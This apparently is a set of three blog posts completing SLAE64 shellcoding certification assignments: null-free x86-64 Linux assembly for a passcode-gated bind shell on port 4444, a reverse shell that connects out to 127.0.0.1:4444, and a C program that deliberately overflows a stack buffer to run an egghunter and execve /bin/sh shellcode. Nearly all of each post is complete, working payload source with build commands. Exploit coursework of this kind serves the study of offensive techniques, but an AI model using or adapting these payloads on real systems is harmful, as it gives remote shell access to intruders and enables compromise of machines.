SLAE64 – Assignment #1 – Shell Bind TCP shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #1

The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes.

This shellcode opens a TCP socket and listens on port 4444 :

You can connect to this shellcode using netcat command on port 444 :

A passcode is required, enter pwd and return key.

Here we are on the /bin/sh shell !

Here are the opcodes of this shellcode, as you can see there are no 0x00 :

I’ll not detail all parts of this shellcode because there are very similar to the standard TCP bind shellcode seen in SLAE64 course.

However I’ll explain the passcode code part and how I’ve removed the 0x00.

First, we need to print a passcode text string. The string I’ve chosen is 12 characters long (with a space character at the end) :

#passcode :

which is 0x2370617373636f6465203a20 in hexadecimal. Due to the stack technique we need to push this value in reverse order  :

	
	push 0x203a2065			; #passcode : 
	mov rbx, 0x646f637373617023	; #passcode : 
	push rbx

Then we can print this text using syscall 1. All syscalls can be found here : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

rdi = file descriptor = 1 = stdout

rsi = text buffer to print = rsp = 0x2370617373636f6465203a20 in reverse order

rdx = text buffer size

xor rdx, rdx  
mov dl, passcode_required_size

mov rsi, rsp 
xor rdi, rdi
mov dil, 1   ; stdout
xor rax, rax
mov al, 1    ; sys_write
syscall

Then we need to ask and wait for user input and store user passcode string in memory. In order to give memory space for user string, I’ve chosen to push 8 characters on the stack and to give this pointer to rsi :

; user input
        
;mov rdx, buffer_size
xor rdx, rdx
mov dl, buffer_size	

;mov rsi, buffer
mov rbx, 0x0101010101010101
push rbx
mov rsi, rsp

xor rdi, rdi   ; stdin
xor rax, rax 
syscall        ; sys_read

Then we need to check passcode. First I put the correct passcode pwd0x0a on the stack and store it in rdi pointer register. Then whithin a loop I compare each character from user input (rsi register) with each character from correct passcode (rdi register). If there is a difference I jump to the exit code part. If all is OK I just continue to the standard shellcode part.

In order to remove 0x00 I’m using :

  • xor <register>, <register> followed by a « small » register technique :
xor rdi, rdi
mov dil, 1
  • push data on stack instead of using data segment :
push 0x0a647770		    ; pwd0x0a
mov rdi, rsp

So here is the check passcode code part :

  ; check passcode 
  push 0x0a647770		    ; pwd0x0a
  mov rdi, rsp
  xor rcx, rcx 
  dec rcx
cmp_pwd:
    inc rcx
    mov al, byte [rsi + rcx]
    mov dl, byte [rdi + rcx]
    cmp al, dl                  ; compare each character
    jne exit                    ; jump out of loop if they are not the same
    cmp dl, 0x0a                ; end of string ?
    jne cmp_pwd                 ; not finished, loop again

Full source code is available here and on my Github account.

Source code of bind-shell-passcode-safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-passcode-safe.nasm -o bind-shell-passcode-safe.o
; ld bind-shell-passcode-safe.o -o bind-shell-passcode-safe


global _start

section .bss
    buffer resb 20               ; buffer of 20 bytes
    buffer_size equ $ - buffer   ; buffer size
    
section .data
    passcode: db 'pwd',0x0a
    passcode_required: db '#passcode : '
    passcode_required_size equ $ - passcode_required

section .text
_start:

    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41 

    xor rax, rax
    mov al, 41

    xor rdi, rdi
    mov dil, 2
	
    xor rsi, rsi
    mov sil, 1

    xor rdx, rdx
    syscall

    ; copy socket descriptor to rdi for future use 

    mov rdi, rax

    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)

    xor rax, rax 

    push rax

    mov dword [rsp-4], eax
    mov word [rsp-6], 0x5c11

    mov word [rsp-8], 0x1FF
    sub word [rsp-8], 0x1FD

    sub rsp, 8

    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49

    xor rax, rax
    mov al, 49	

    mov rsi, rsp
	
    xor rdx, rdx
    mov dl, 16	

    syscall

    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50
 
    xor rax, rax 
    mov al, 50

    xor rsi, rsi
    mov sil, 2
	
    syscall

    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ; syscall number 43

    xor rax, rax
    mov al, 43

    sub rsp, 16
    mov rsi, rsp
    mov byte [rsp-1], 16
    sub rsp, 1
    mov rdx, rsp

    syscall

    ; store the client socket description 
    mov r9, rax 

    ; close parent
    xor rax, rax
    mov al, 3	
    syscall

    ; duplicate sockets
    ; dup2 (new, old)
    mov rdi, r9
    xor rax, rax
    mov al, 33        
    xor rsi, rsi
    syscall

    xor rax, rax
    mov al, 33        
    xor rsi ,rsi
    mov sil, 1	
    syscall

    xor rax, rax
    mov al, 33
    xor rsi, rsi
    mov sil, 2	
    syscall

    ; passcode is required
    xor rdx, rdx
    mov dl, passcode_required_size
	
    ;mov rsi, passcode_required
    push 0x203a2065	        ; #passcode : 
    mov rbx, 0x646f637373617023	; #passcode : 
    push rbx
    mov rsi, rsp 

    xor rdi, rdi
    mov dil, 1   ; stdout
    xor rax, rax
    mov al, 1    ; sys_write
    syscall	

    ; user input
        
    ;mov rdx, buffer_size
    xor rdx, rdx
    mov dl, buffer_size	

    ;mov rsi, buffer
    mov rbx, 0x0101010101010101
    push rbx
    mov rsi, rsp

    xor rdi, rdi   ; stdin
    xor rax, rax 
    syscall        ; sys_read

    ; check passcode 
	
    ;lea rsi, [buffer]      ; user passcode
    ;mov rsi, buffer
    ;lea rdi, [passcode]    ; true passcode
    ;mov rdi, passcode
    push 0x0a647770         ; pwd0x0a
    mov rdi, rsp
    xor rcx, rcx 
    dec rcx
cmp_pwd:
    inc rcx
    mov al, byte [rsi + rcx]
    mov dl, byte [rdi + rcx]
    cmp al, dl                  ; compare each character
    jne exit                    ; jump out of loop if they are not the same
    cmp dl, 0x0a                ; end of string ?
    jne cmp_pwd                 ; not finished, loop again
    ; shellcode

    ; execve
    ; First NULL push
    xor rax, rax
    push rax

    ; push /bin//sh in reverse
    mov rbx, 0x68732f2f6e69622f
    push rbx

    ; store /bin//sh address in RDI
    mov rdi, rsp

    ; Second NULL push
    push rax

    ; set RDX
    mov rdx, rsp

    ; push address of /bin//sh
    push rdi

    ; set RSI
    mov rsi, rsp

    ; Call the execve syscall
    add rax, 59
    syscall

exit:
    xor rdi, rdi
    add dil, 1
    xor rax, rax
    add al, 60
    syscall

Source code of bind-shell-safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-safe.nasm -o bind-shell-safe.o
; ld bind-shell-safe.o -o bind-shell-safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	mov al, 41

	xor rdi, rdi
	mov dil, 2
	
	xor rsi, rsi
	mov sil, 1

	xor rdx, rdx
	
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax

	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = INADDR_ANY
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax

	mov dword [rsp-4], eax
	mov word [rsp-6], 0x5c11

	mov word [rsp-8], 0x1FF
	sub word [rsp-8], 0x1FD

	sub rsp, 8

	; bind(sock, (struct sockaddr *)&server, sockaddr_len)
	; syscall number 49

	xor rax, rax
	mov al, 49	

	mov rsi, rsp
	
	xor rdx, rdx
	mov dl, 16	

	syscall

	; listen(sock, MAX_CLIENTS)
	; syscall number 50

	xor rax, rax
	mov al, 50

	xor rsi, rsi
	mov sil, 2
	
	syscall

	; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
	; syscall number 43
	
	xor rax, rax
	mov al, 43

	sub rsp, 16
	mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

	; store the client socket description 
	mov r9, rax 

        ; close parent

	xor rax, rax
	mov al, 3	

        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        
	xor rax, rax
	mov al, 33        

	xor rsi, rsi

        syscall

	xor rax, rax
	mov al, 33        

	xor rsi ,rsi
	mov sil, 1	

        syscall

	xor rax, rax
	mov al, 33

	xor rsi, rsi
	mov sil, 2	

        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall

SLAE64 – Assignment #2 – Shell Reverse TCP shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #2

The aim of this assignment is to create a shell reverse TCP shellcode with a passcode and to remove all 0x00 from opcodes.

First, we need to listen to incoming connections on port 4444 :

Then we launch the shellcode :

The reverse TCP shellcode open a connection on port 4444 and then we access to the /bin/sh shell !

Here are the opcodes of this shellcode, as you can see there are no 0x00 :

The passcode code part is exactly the same as the one described in Assignment#1

One thing about removing 0x00. At some points the original code contains some 0x00 like here :

mov dword [rsp-4], 0x0100007f

So I’ve chosen to use a substraction in order to have the same result :

;mov dword [rsp-4], 0x0100007f
mov dword [rsp -4], 0x9A999A18
sub dword [rsp -4], 0x99999999

Full source code is available here and on my Github account.

Source code of Reverse-Shell-Passcode-Safe.nasm

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 Reverse-Shell-Passcode-Safe.nasm -o Reverse-Shell-Passcode-Safe.o
; ld Reverse-Shell-Passcode-Safe.o -o Reverse-Shell-Passcode-Safe

global _start

section .bss
    buffer resb 20               ; buffer of 20 bytes
    buffer_size equ $ - buffer   ; buffer size
    
section .data
    passcode: db 'pwd',0x0a
    passcode_required: db '#passcode : '
    passcode_required_size equ $ - passcode_required

section .text
_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	add al, 41
	
	xor rdi, rdi
	inc dil
	inc dil

	xor rsi, rsi
	inc sil	

	xor rdx, rdx
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	;mov dword [rsp-4], 0x0100007f
	mov dword [rsp -4], 0x9A999A18
	sub dword [rsp -4], 0x99999999

	mov word [rsp-6], 0x5c11
	
	;mov word [rsp-8], 0x2
        mov word [rsp-8], 0x1FF
        sub word [rsp-8], 0x1FD

	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	add al, 42

	mov rsi, rsp
	
	xor rdx, rdx
	add dl, 16	

	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
	add al, 33

        xor rsi, rsi
	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil

	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil
	inc sil	

	syscall


	; passcode is required

	xor rdx, rdx
	mov dl, passcode_required_size

	;mov rsi, passcode_required
	push 0x203a2065			; #passcode : 
	mov rbx, 0x646f637373617023	; #passcode : 
	push rbx
	mov rsi, rsp 

	xor rdi, rdi
	mov dil, 1   ; stdout
        xor rax, rax
	mov al, 1    ; sys_write
	syscall	

	; user input
        
	;mov rdx, buffer_size
        xor rdx, rdx
	mov dl, buffer_size	

	;mov rsi, buffer
        mov rbx, 0x0101010101010101
	push rbx
	mov rsi, rsp

	xor rdi, rdi   ; stdin
        xor rax, rax 
	syscall        ; sys_read

	; check passcode 
	
	;lea rsi, [buffer]      ; user passcode
	;mov rsi, buffer

	;lea rdi, [passcode]    ; true passcode
	;mov rdi, passcode
	push 0x0a647770		; pwd0x0a
	mov rdi, rsp

	xor rcx, rcx 
	dec rcx
cmp_pwd:
	inc rcx
        mov al, byte [rsi + rcx]
	mov dl, byte [rdi + rcx]
	cmp al, dl                  ; compare each character
        jne exit                    ; jump out of loop if they are not the same
	cmp dl, 0x0a                ; end of string ?
	jne cmp_pwd                 ; not finished, loop again


        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
 
exit:
	xor rdi, rdi
	add dil, 1
	xor rax, rax
	add al, 60
        syscall

Source code of Reverse-Shell-Safe.nasm :

; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 Reverse-Shell-Safe.nasm -o Reverse-Shell-Safe.o
; ld Reverse-Shell-Safe.o -o Reverse-Shell-Safe

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 

	xor rax, rax
	add al, 41
	
	xor rdi, rdi
	inc dil
	inc dil

	xor rsi, rsi
	inc sil	

	xor rdx, rdx
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	;mov dword [rsp-4], 0x0100007f
	mov dword [rsp -4], 0x9A999A18
	sub dword [rsp -4], 0x99999999

	mov word [rsp-6], 0x5c11
	
	;mov word [rsp-8], 0x2
        mov word [rsp-8], 0x1FF
        sub word [rsp-8], 0x1FD

	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	add al, 42

	mov rsi, rsp
	
	xor rdx, rdx
	add dl, 16	

	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
	add al, 33

        xor rsi, rsi
	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil

	syscall

        xor rax, rax
	add al, 33

        xor rsi, rsi
	inc sil
	inc sil	

	syscall


        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp

        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
 

SLAE64 – Assignment #3 – Egghunter Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #3

The aim of this assignment is to demonstrate the use of the « egg hunter » technique.

The « egg hunter » is a very small payload that searchs through memory for the real payload to launch and run.

This technique is usefull when you don’t have enough place on the stack to put the real payload.

So here, I’ve written a small piece of C code that demonstrates this technique.

First there is a vulnerable function « vuln() » :

int vuln() {
    char buf[80];
    memcpy(buf, buffer_overflow, 400);
}

This function wants to copy a big array of chars (400 characters) into a smaller array of chars (80 characters).

It’s possible to exploit this buffer overflow by overwriting the return pointer execution, the RIP register.

In order to find the exact position in the buffer, I’ve previously filled the buffer with random characters. Then I’ve launched the program under gdb and waited for the crash. At that moment I’ve looked at the characters located at the top of the stack, on the RSP register. After some tries and errors, I’ve found the exact position in the buffer where to replace the RIP address.

All of this is coded in the set_buffer_overflow() function.

You can see here that I’ve replaced the RIP with the address of the egghunter array of chars :

   // Get egghunter address
   unsigned long sc_addr = (unsigned long)&egghunter;

   // Convert unsigned long egghunter address to an array of char
   int i;
   char adr[sizeof(unsigned long)];
   for(i = 0; i < sizeof(unsigned long); ++i) { adr[i] = sc_addr & 0xff; rip[i] = adr[i]; sc_addr >>= 8;
   }

So now what about the egghunter payload. It’s an assembly x64 code that searchs through memory for the real payload using a marker, this is the « egg ». The egg I’ve chosen here is the « SLAE » string 🙂 where SLAE = \x53\x4c\x41\x45

In order to search through memory you need to start from a far enough address (otherwise you’ll be in an infinite loop), compare with the EGG and then go downward. If you wonder why downward and not to the up, just debug the code under gdb and print the address of the different variables, you’ll understand how variables are located in memory :

root@pentester-VirtualBox:~# gcc -fno-stack-protector -g -z execstack egghunter.c -o egghunter 
root@pentester-VirtualBox:~# gdb ./egghunter
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /root/egghunter...done.
gdb-peda$ print &egghunter
$1 = (unsigned char (*)[26]) 0x6010a0
gdb-peda$ print &shellcode
$2 = (unsigned char (*)[32]) 0x6010c0
gdb-peda$ 

So here is the code the egghunter :

lea rcx, [rip]
add rcx, 0xff
inc rcx
cmp DWORD PTR [rcx-0x4], EGG
jne -6
jmp rcx

Finally when the egg is found, we just need to jump to the real payload, the shellcode :

unsigned char shellcode[] = "SLAE" // EGG
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

In order to work correctly, this code needs to be compiled with the -fno-stack-protector -z execstack options and the ASLR must be disabled.

Here is a screenshot of the running program, you can see the execution of the shellcode :

Full source code is available here and on my Github account.

Source code of egghunter.c

/* Student ID: PA-6470 (kahlon81) */
/* SLAE64 */
/* Tested on Ubuntu 12.04 LTS */
/* Compile: gcc -fno-stack-protector -z execstack egghunter.c -o egghunter */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space           */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
// Exploit buffer overflow overwriting RIP (RIP will be set in little endian order)
unsigned char buffer_overflow[400];
unsigned char overflow[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

/*
 * Search for EGG SLAE
 */
unsigned char egghunter[] =
"\x48\x8D\x0D\x00\x00\x00\x00" 	// lea rcx, [rip]
"\x48\x83\xc1\x19"  		// add rcx, 0xff
"\x48\xff\xc1"  		// inc rcx
"\x81\x79\xfc\x53\x4c\x41\x45" 	// cmp DWORD PTR [rcx-0x4], EGG
"\x75\xf4"  			// jne -6
"\xff\xe1";  			// jmp rcx


unsigned char shellcode[] = "SLAE" // EGG
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";


int vuln() {
    char buf[80];
    memcpy(buf, buffer_overflow, 400);
}

void set_buffer_overflow() {
   int ov_size = sizeof(overflow);
   unsigned char rip[8];

   // Get egghunter address
   unsigned long sc_addr = (unsigned long)&egghunter;

   // Convert unsigned long egghunter address to an array of char
   int i;
   char adr[sizeof(unsigned long)];
   for(i = 0; i < sizeof(unsigned long); ++i) 
   { 
      adr[i] = sc_addr & 0xff; 
      rip[i] = adr[i]; 
      sc_addr >>= 8;
   }

   // set buffer overflow
   memcpy(buffer_overflow, overflow, ov_size);

   // Ovverride RIP address
   memcpy(buffer_overflow + ov_size - 1, rip, 8);
}


int main(int argc, char *argv[]) {
    printf("Try to exec shellcode\r\n");

    set_buffer_overflow();
    vuln();

    return 0;
}